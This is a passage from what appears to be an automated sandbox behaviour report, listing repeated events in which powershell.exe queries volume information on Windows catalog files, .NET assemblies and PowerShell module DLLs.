Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
